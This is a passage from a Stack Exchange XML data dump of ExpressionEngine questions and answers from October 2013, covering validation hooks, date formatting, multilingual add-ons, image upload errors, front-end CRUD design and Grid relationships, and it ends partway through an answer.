  <row Id="14236" PostTypeId="1" AcceptedAnswerId="14240" CreationDate="2013-10-02T04:47:27.847" Score="2" ViewCount="415" Body="&lt;p&gt;In our system, entries are created from the Control Panel, and one of our custom entries needs more complicated validation rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, depending on the status of the submitted entry, we need to determine whether other fields are required, validate the submission based on that and then show errors as per normal validation rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into getting access to the data from the &lt;code&gt;entry_submission_ready&lt;/code&gt; hook and setting the errors via &lt;code&gt;ee()-&amp;gt;form_validation-&amp;gt;_error_array['foo'] = 'bar'&lt;/code&gt;, but this hook is called after validation has already completed and passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would prefer not having to rewrite any core code, though I am willing to override &lt;code&gt;Content_publish&lt;/code&gt; if this can be done cleanly from a module/extension.&lt;/p&gt;&#xA;" OwnerUserId="2128" LastActivityDate="2013-10-02T21:02:49.863" Title="Add custom validation to Content_publish form" Tags="|control-panel|module|extension|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="2" ParentId="14229" CreationDate="2013-10-02T05:21:56.410" Score="1" Body="&lt;p&gt;Why not just wrap a div around the content and use a bit of jquery to handle that. I don't think wygwam can handle this without some trickery. &lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-10-02T05:21:56.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14238" PostTypeId="1" CreationDate="2013-10-02T07:50:13.887" Score="1" ViewCount="50" Body="&lt;p&gt;I am using Solspace Calendar. I would like to change the date format from Sunday, Monday to Sun, Mon  Can anyone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="2121" LastActivityDate="2013-10-03T23:58:46.463" Title="Change Day format to Sun Mon" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14239" PostTypeId="2" ParentId="14231" CreationDate="2013-10-02T07:57:34.137" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://boldminded.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt; - it offers the most flexibility - especially in having URLs relative to the language (good for native users and for SEO), easy toggling between language entries. This also neatly handles rewriting for custom language identifiers in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can roll your own solution, using tips and tricks found elsewhere and something like &lt;a href=&quot;http://devot-ee.com/add-ons/republic-variables&quot; rel=&quot;nofollow&quot;&gt;Republic Variables&lt;/a&gt; to store your variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few older posts of approaches if you decide to do it yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carl describes how to create the language specific root segments in your URL via language folders and additional index.php files:&#xA;&lt;a href=&quot;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://expressionengine.com/wiki/Multi_language_site/&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/wiki/Multi_language_site/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://expressionengine.com/forums/viewthread/161746/&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/forums/viewthread/161746/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://speakerdeck.com/u/stevieg_83/p/intro-to-multi-lingual-sites-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;https://speakerdeck.com/u/stevieg_83/p/intro-to-multi-lingual-sites-in-expressionengine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=182192&quot; rel=&quot;nofollow&quot;&gt;http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=182192&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Taken from &lt;a href=&quot;http://peteralewis.com/blog/expressionengine-multi-language/&quot; rel=&quot;nofollow&quot;&gt;my blog post&lt;/a&gt; regarding complex language translation (written prior to Publisher being released), but I would highly recommend using Publisher and save yourself the grief.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-02T07:57:34.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="2" ParentId="14236" CreationDate="2013-10-02T08:06:33.010" Score="3" Body="&lt;p&gt;You're using the wrong hook. Try using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/#entry-submission-start&quot; rel=&quot;nofollow noreferrer&quot;&gt;entry_submission_start&lt;/a&gt; and/or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#publish-form-entry-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;publish_form_entry_data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10411/abort-the-channel-entry-publish-process&quot;&gt;Abort the channel entry publish process?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/169717/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Head-scratcher: manipulating new/updated entries after submission&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-02T21:02:49.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14241" PostTypeId="1" AcceptedAnswerId="14242" CreationDate="2013-10-02T09:52:22.973" Score="1" ViewCount="590" Body="&lt;p&gt;I suddenly can not upload images and get the following error (Even though all is writeable) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to upload files that i had previously uploaded to make sure they are not damaged and still get the same error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could i check to make sure all is correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine v2.5.5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg, libjpeg: recoverable error: Premature end of JPEG file&#xA;&#xA;Filename: libraries/Image_lib.php&#xA;&#xA;Line Number: 1246&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: imagecreatefromjpeg() [function.imagecreatefromjpeg]: '/home/*/public_html/cms/images/uploads/general/656.jpg' is not a valid JPEG file&#xA;&#xA;Filename: libraries/Image_lib.php&#xA;&#xA;Line Number: 1246&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/*/public_html/cms/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 408&#xA;Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable.&#xA;&#xA;Upload to general   &#xA;&#xA;Upload File &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-10-02T10:16:43.720" Title="Suddenly can not upload images" Tags="|file-uploads|error|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14242" PostTypeId="2" ParentId="14241" CreationDate="2013-10-02T10:16:43.720" Score="3" Body="&lt;p&gt;Check that the images are actually of the type uploaded.  The error is suggesting they're not valid JPEGs, so it's worth checking they've not been saved as, say, a PNG file and renamed to JPEG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the file could be corrupt either at your or the server end.  Finally, if part of the file has been written it's possible the disk is full at the server end, leading to a premature end of file.&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-10-02T10:16:43.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14243" PostTypeId="1" AcceptedAnswerId="14261" CreationDate="2013-10-02T12:06:30.407" Score="7" ViewCount="513" Body="&lt;p&gt;Apologies in advance for the long post...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been tasked with building a User-generated content site with ExpressionEngine. I had a rough idea of how I was going to proceed but - as I have progressed - it feels like I'm having to &quot;bend the rules&quot; more and more to achieve my intentions, which usually means that I'm doing something wrong :( Any feedback would therefore be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll first start by describing the intended architecture: The site consists of an open membership system which allows front-end registration, login, logout and profile capabilities. There are then a number of channels such as &quot;jobs&quot;, &quot;events&quot;, &quot;workshops&quot; - each following a similar structure of listing/view page - to which members can contribute from the front end. Once they have submitted an entry to one of these channels, they should be able to Edit or Delete the entry at a later date, or mark it as closed (filled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've been working along the following lines of implementation: I'm using Structure to manage the pages and Zoo Visitor to handle the membership system (chosen as there were a number of checkbox fields that I needed to add to the registration form). This side of things is all working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new job is added, I intend to have it use the id and job title to form the URL string, so that if another job already exists with the same title I don't end up with things like &quot;web-developer-2&quot;. I haven't actually done this yet, but I imagine that I can just populate a hidden field on the add form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any one of these given areas (eg. /jobs/ ), I intended to have the following URL structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/jobs/                           jobs listing page&#xA;/jobs/&amp;lt;id&amp;gt;-&amp;lt;job-title&amp;gt;/          job single page&#xA;/jobs/add/                       add job page&#xA;/jobs/edit/&amp;lt;id&amp;gt;-&amp;lt;job-title&amp;gt;/     edit job page&#xA;/jobs/delete/&amp;lt;id&amp;gt;-&amp;lt;job-title&amp;gt;/   delete job page&#xA;/jobs/success/                   success page for add/edit/delete job&#xA;/jobs/filter/today/              jobs posted today          &#xA;/jobs/filter/this-week/          jobs posted in last 7 days&#xA;/jobs/filter/2013/oct/           jobs posted in october 2013&#xA;...                              (previous 12 months)&#xA;/jobs/filter/2012/nov/           jobs posted in november 2012&#xA;/jobs/filter/archive/            (including those with a status of 'closed')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously on top of all this there is pagination which takes the form of p10, p20 etc (10 to a page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using Freebie to ignore anything after the /jobs/ segment, and then I've been using the jobs/index template a kind of controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Archive pages --}&#xA;{if freebie_3 == &quot;archive&quot;}&#xA;    {embed=&quot;jobs/archive&quot;}&#xA;&#xA;{!-- CRUD pages --}&#xA;{if:elseif freebie_3 == &quot;add&quot;}&#xA;    {embed=&quot;jobs/add&quot;}&#xA;{if:elseif freebie_3 == &quot;edit&quot;}&#xA;    {embed=&quot;jobs/edit&quot;}&#xA;{if:elseif freebie_3 == &quot;delete&quot;}&#xA;    {embed=&quot;jobs/delete&quot;}&#xA;{if:elseif freebie_3 == &quot;success&quot;}&#xA;    {embed=&quot;jobs/success&quot;}&#xA;&#xA;{!-- Listing / Single page --}        &#xA;{if:else}&#xA;    {embed=&quot;jobs/view&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the view template, I've the got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;jobs&quot; required_entry=&quot;yes&quot; limit=&quot;1&quot; url_title=&quot;{freebie_last}&quot; dynamic=&quot;no&quot;}&#xA;    {if no_results}&#xA;        {!-- jobs listing page --}&#xA;    {/if}&#xA;    {!-- jobs detail page --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the add template I've got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {embed=&quot;jobs/_form&quot;}&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Sorry, you must be logged in to use this feature.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the edit and delete templates, I've got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:channel:entries channel=&quot;jobs&quot; required_entry=&quot;yes&quot; limit=&quot;1&quot; url_title=&quot;{freebie_last}&quot; dynamic=&quot;no&quot;}&#xA;        {if no_results}&#xA;            {redirect=&quot;404&quot;}&#xA;        {/if}&#xA;        {!-- Edit code here --}&#xA;    {/exp:channel:entries}&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Sorry, you must be logged in to use this feature.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The add/edit/delete templates will use Channel:form (formerly Safecracker) for the allow the adding, editing and deleting of entries. (I haven't written the code which detects if the form has been submitted and actually does the edit/delete action yet). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'll need to wrap the latter two functions in...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if author_id == logged_in_member_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to make sure that people can only edit/delete their own entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess my question is... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a better method - module or otherwise - of handling CRUD functionality from the front end, other than that which I have described?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It had dawned on me that a better approach might be to write a custom module that interacts directly with the database (rather than using the channels at all) as this might keep the model/controller cleaner and more separated from the view; but I haven't done this before so I'm hesitant to go down this road as I'm sure it will throw up a whole new set of hurdles...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is greatly appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2013-10-17T19:47:22.133" Title="Building a UGC site using ExpressionEngine" Tags="|safecracker|structure|zoo-visitor|channel-form|freebie|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14244" PostTypeId="1" CreationDate="2013-10-02T13:01:33.247" Score="0" ViewCount="48" Body="&lt;p&gt;The first time I upload via Rackspace, the thumbnails on the backend appear fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I delete the expressionengine/cache directory and it regenerates the images, the result is 70 byte 'jpgs' are created in expressionengine/cache/assets/rs_sources with the following content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;h1&amp;gt;Not Found&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;The resource could not be found.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i.e. the response you would get from Rackspace if the image cannot be found. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, the images are available and accessible (right click -&gt; View file returns the correct image with a Rackspace URL). They also appear fine on the front-end, so it's just the process which deals with the generation of thumbnails for the backend.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-10-02T14:03:41.380" Title="Assets 2 loses Rackspace thumbnails" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14245" PostTypeId="1" AcceptedAnswerId="14321" CreationDate="2013-10-02T13:35:26.603" Score="4" ViewCount="2509" Body="&lt;p&gt;I'm trying to do something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{grid_fields}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{grid_fields:relationship}{title}{/grid_fields:relationship}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{/grid_fields}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I don't seem to be able to pull data out of the related entry. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-03-08T05:10:45.690" Title="Where's the documentation for using Relationships with Grid fields?" Tags="|relationships|grid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="2" ParentId="14244" CreationDate="2013-10-02T14:03:41.380" Score="1" Body="&lt;p&gt;I found that when you use the subfolder option, the leading forward slash is removed which malforms the URL which means the curl request fails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sources.rs.php, I added a forward slash manually to compensate on line 1089, but there is obviously a deeper issue as to why the forward slash gets stripped - just don't have time right now to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$prefix = isset($this-&amp;gt;settings()-&amp;gt;subfolder) ? $this-&amp;gt;settings()-&amp;gt;subfolder . &quot;/&quot; : '';&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-10-02T14:03:41.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14247" PostTypeId="1" AcceptedAnswerId="14343" CreationDate="2013-10-02T14:39:24.367" Score="2" ViewCount="176" Body="&lt;p&gt;We have a 3 level category structure set up for a site. I would like to output these categories as JSON, while keeping the structure intact. As far as I can see, EE's native categories only allow outputting category hierarchy as ul or ol. I also tried Child categories &amp;amp; GWcode categories plugins, but at maximum I was able to output the two top levels only. Anybody have any idea how to get this working?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-10-06T14:51:18.937" Title="Nested categories without ul or other formatting" Tags="|gwcode-categories|categories|nesting|child-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14248" PostTypeId="2" ParentId="11689" CreationDate="2013-10-02T14:46:54.143" Score="1" Body="&lt;p&gt;Possibly a little overkill for this one task, I am pretty sure you could use Postmaster for this. Just setup a &quot;Send System Email&quot; hook. Then you can define any from name/email you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Information on Postmaster&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference to the Send System Email hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/send-system-email&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster/hooks/send-system-email&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-02T14:46:54.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14249" PostTypeId="1" AcceptedAnswerId="14253" CreationDate="2013-10-02T14:57:36.317" Score="1" ViewCount="415" Body="&lt;p&gt;In some cases I need to use custom page titles while using Structure. I know you can set up a custom field and use that, but I am also wondering if there is a way to use the Title field within the SEO Lite module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I think I could always hide the SEO Lite Title field and replace it with my own custom field, but I am hoping there is a simple way to accomplish it natively?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-10-02T16:11:32.720" Title="Can I use the SEO Lite title field as a Structure custom title?" Tags="|structure|title|seo-lite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14250" PostTypeId="2" ParentId="14226" CreationDate="2013-10-02T15:46:01.867" Score="1" Body="&lt;p&gt;The problem was in fact solved in the latest update. I was messing up the templating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it working with input type=&quot;text&quot; id=&quot;billing_first_name&quot; name=&quot;billing_first_name&quot; class=&quot;{if error:billing_first_name}error{/if}&quot; value=&quot;{billing_first_name}&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel silly. Still new to EE. Sorry&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-10-02T15:46:01.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14251" PostTypeId="2" ParentId="14238" CreationDate="2013-10-02T15:53:41.220" Score="1" Body="&lt;p&gt;You can format the names with standard EE date formatting. try {day format=&quot;%j&quot;}, as documented in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine User Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="197" LastEditDate="2013-10-03T23:58:46.463" LastActivityDate="2013-10-03T23:58:46.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14253" PostTypeId="2" ParentId="14249" CreationDate="2013-10-02T16:11:32.720" Score="2" Body="&lt;p&gt;Pop the following in your header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite entry_id=&quot;{structure:page:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &lt;strong&gt;do not&lt;/strong&gt; add a title into the SEO Lite title field, the entry title will be used for the title meta tag.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;strong&gt;do&lt;/strong&gt; add a title into the SEO Lite title field, that will be used.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-02T16:11:32.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14254" PostTypeId="2" ParentId="14245" CreationDate="2013-10-02T16:13:53.650" Score="1" Body="&lt;p&gt;Did you try...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_fields}&#xA;     {grid_fields:relationship}{relationship:title}{/grid_fields:relationship}&#xA;{/grid_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of 2.6 the relationship field should be prepended with the relationship field name so that advanced relationships can work together with each other. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#child-entries-displaying-the-stores-and-their-menus&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#child-entries-displaying-the-stores-and-their-menus&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-10-02T16:13:53.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14255" PostTypeId="2" ParentId="14243" CreationDate="2013-10-02T16:19:43.043" Score="2" Body="&lt;p&gt;Ben Croker of PutsYourLightON has been working on an API specifically designed for CRUD functionality.  You should take a look at it here... &lt;a href=&quot;http://www.putyourlightson.net/open-api&quot; rel=&quot;nofollow&quot;&gt;http://www.putyourlightson.net/open-api&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the repo for it... &lt;a href=&quot;https://github.com/putyourlightson/open-api&quot; rel=&quot;nofollow&quot;&gt;https://github.com/putyourlightson/open-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have messed with this some and it has some great potential.&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="182" LastEditDate="2013-10-02T17:38:57.720" LastActivityDate="2013-10-02T17:38:57.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" AcceptedAnswerId="14440" CreationDate="2013-10-02T16:27:55.903" Score="1" ViewCount="70" Body="&lt;p&gt;I've just upgraded a site from EE 2.1 to EE 2.7.1 and got it basically working by upgrading the associated AddOns. Playa is still having trouble (migrated from 3.1 to the latest 4.4.5). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Playa code that should return the entry_ids for the items selected within the &lt;code&gt;page_sidebar_content&lt;/code&gt; field are instead returning a text string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {page_sidebar_content backspace=&quot;1&quot;}{entry_id}|{/page_sidebar_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is returning something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; M140o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;114|32|61&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="2131" LastActivityDate="2013-10-09T14:30:51.033" Title="Playa tag returning text string instead of entry ids" Tags="|playa|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14257" PostTypeId="2" ParentId="14256" CreationDate="2013-10-02T16:33:19.957" Score="0" Body="&lt;p&gt;Try the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html#child-ids-tag&quot; rel=&quot;nofollow&quot;&gt;child_ids tag&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page_sidebar_content:child_ids}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="390" LastActivityDate="2013-10-02T16:33:19.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14258" PostTypeId="1" CreationDate="2013-10-02T16:36:57.640" Score="1" ViewCount="302" Body="&lt;p&gt;After upgrading to EE 2.7.1 ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't edit any channel entries that have the Super Admin as the author, and get this error &quot;The selected author is invalid.&quot; (am logged in as a non-super member).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only happens when using the Channel Form (used to be Safecracker), it's OK in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my settings are correct e.g. &quot;Can edit entries authored by others&quot;.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-10-20T20:51:18.413" Title="Edit a Channel Form with super admin as author" Tags="|safecracker|channel-form|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14259" PostTypeId="1" AcceptedAnswerId="14296" CreationDate="2013-10-02T16:40:04.323" Score="1" ViewCount="125" Body="&lt;p&gt;I thought I had this error fixed ages ago but found out I did not.&lt;br&gt;&#xA;EE 2.5.2  CT 2.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When checking out with paypal express I get the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The totals of the cart item amounts do not match order amounts. 10413&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error ONLY occurs when I have a shipping charge.  Currently shipping is defined per product.  &lt;strong&gt;If Shipping is not required I do not get this error.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLVED an EE and CT upgrade seemed to fix this issue&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-10-02T18:11:04.630" LastActivityDate="2013-10-03T21:43:33.003" Title="Cart Throb: The totals of the cart item amounts do not match order amounts. 10413- when shipping is included" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14261" PostTypeId="2" ParentId="14243" CreationDate="2013-10-02T17:25:54.017" Score="5" Body="&lt;p&gt;Your question is not very specific, so we can't give you specific answers... however EE can handle all of this stuff, but it does take some planning. Here are a few comments in no particular order that may help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly I'd recommend ditching Structure, as you'll be fighting it at every step for control of your URLs and you could also find that it hinders future growth. (Imagine for example, expanding the site to include multiple client sub-domains or something fun like that). This will save you the awkwardness of building 'controller'-like routing templates and instead use native URL handling. This will be especially handy for filtering by date, which EE can do natively if you just pass along the right segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building a custom module would be an excellent clean option and even if it's your first you probably won't regret it as you'll have complete control, and it's a great learning experience as well as good fun. Bear in mind that you can also take a half-way approach, which would be to use Safecracker/Channel Form etc, but build your own add-on that hooks into Safecracker's routines and does extra stuff before/after submission: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another couple of points: Safecraker/Channel Form has an author_only=&quot;yes&quot; parameter to do what you describe for editing entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safecracker has no native capability for deleting entries. It's straight-forward to build this functionality yourself with the help one of the existing deletion add-ons (&lt;a href=&quot;http://devot-ee.com/search/results?keywords=delete&amp;amp;addon_version_support=ee2&quot; 